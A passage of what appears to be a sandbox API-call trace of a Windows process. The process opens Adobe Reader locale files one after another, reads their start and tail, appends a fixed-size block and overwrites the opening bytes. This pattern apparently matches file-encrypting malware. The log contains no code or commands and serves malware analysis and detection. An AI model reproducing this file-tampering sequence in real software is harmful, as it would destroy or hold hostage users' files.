lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.108] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.108] WriteFile (in: hFile=0x1a0, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.108] WriteFile (in: hFile=0x1a0, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.108] CloseHandle (hObject=0x1a0) returned 1 [0038.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\updater.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.109] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.109] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2a00 [0038.109] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.109] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.109] ReleaseMutex (hMutex=0x128) returned 1 [0038.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DEU", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DEU", lpUsedDefaultChar=0x0) returned 11 [0038.109] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.110] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a00 [0038.110] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.111] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a00 [0038.111] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.111] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.111] WriteFile (in: hFile=0x1a0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.111] CloseHandle (hObject=0x1a0) returned 1 [0038.111] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ebook.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.112] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.112] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1c00 [0038.112] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.112] ReleaseMutex (hMutex=0x128) returned 1 [0038.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ESP", lpUsedDefaultChar=0x0) returned 9 [0038.112] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0038.114] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0038.114] WriteFile (in: hFile=0x1a0, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x354f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0038.117] CloseHandle (hObject=0x1a0) returned 1 [0038.117] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\saveasrtf.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.118] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.118] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4a00 [0038.118] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.118] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.118] ReleaseMutex (hMutex=0x128) returned 1 [0038.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ESP", lpUsedDefaultChar=0x0) returned 13 [0038.118] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.120] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3a00 [0038.120] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.120] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3a00 [0038.120] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.120] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.120] WriteFile (in: hFile=0x1a0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.120] CloseHandle (hObject=0x1a0) returned 1 [0038.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\adobecollabsync.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.121] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.121] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1a00 [0038.121] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.121] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.121] ReleaseMutex (hMutex=0x128) returned 1 [0038.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x1e78bcc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.EUQ", lpUsedDefaultChar=0x0) returned 19 [0038.121] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0038.122] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0038.123] WriteFile (in: hFile=0x1a0, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x354f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0038.123] CloseHandle (hObject=0x1a0) returned 1 [0038.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\multimedia.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.123] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.123] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x13e00 [0038.123] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.123] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.123] ReleaseMutex (hMutex=0x128) returned 1 [0038.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x1e6342c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.EUQ", lpUsedDefaultChar=0x0) returned 14 [0038.123] ReadFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.125] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12e00 [0038.125] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.126] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12e00 [0038.126] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.127] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.127] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.127] CloseHandle (hObject=0x1a0) returned 1 [0038.127] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.127] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.127] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe7 [0038.128] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.128] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.128] ReleaseMutex (hMutex=0x128) returned 1 [0038.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.128] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ea548, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea548*, lpNumberOfBytesRead=0x354f2bc*=0xe7, lpOverlapped=0x0) returned 1 [0038.129] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0038.129] WriteFile (in: hFile=0x1a0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x66f, lpOverlapped=0x0) returned 1 [0038.129] CloseHandle (hObject=0x1a0) returned 1 [0038.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.129] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.129] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1fa00 [0038.129] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.129] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.129] ReleaseMutex (hMutex=0x128) returned 1 [0038.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SUO", lpUsedDefaultChar=0x0) returned 10 [0038.130] ReadFile (in: hFile=0x1a0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.131] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1ea00 [0038.131] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.132] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1ea00 [0038.132] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.133] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.133] WriteFile (in: hFile=0x1a0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.133] CloseHandle (hObject=0x1a0) returned 1 [0038.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\readoutloud.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.134] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.134] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2a00 [0038.134] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.134] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.134] ReleaseMutex (hMutex=0x128) returned 1 [0038.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x1e6342c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SUO", lpUsedDefaultChar=0x0) returned 15 [0038.134] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.136] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a00 [0038.136] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.136] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a00 [0038.136] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.136] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.136] WriteFile (in: hFile=0x1a0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.137] CloseHandle (hObject=0x1a0) returned 1 [0038.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\accessibility.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.137] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.137] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb600 [0038.137] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, 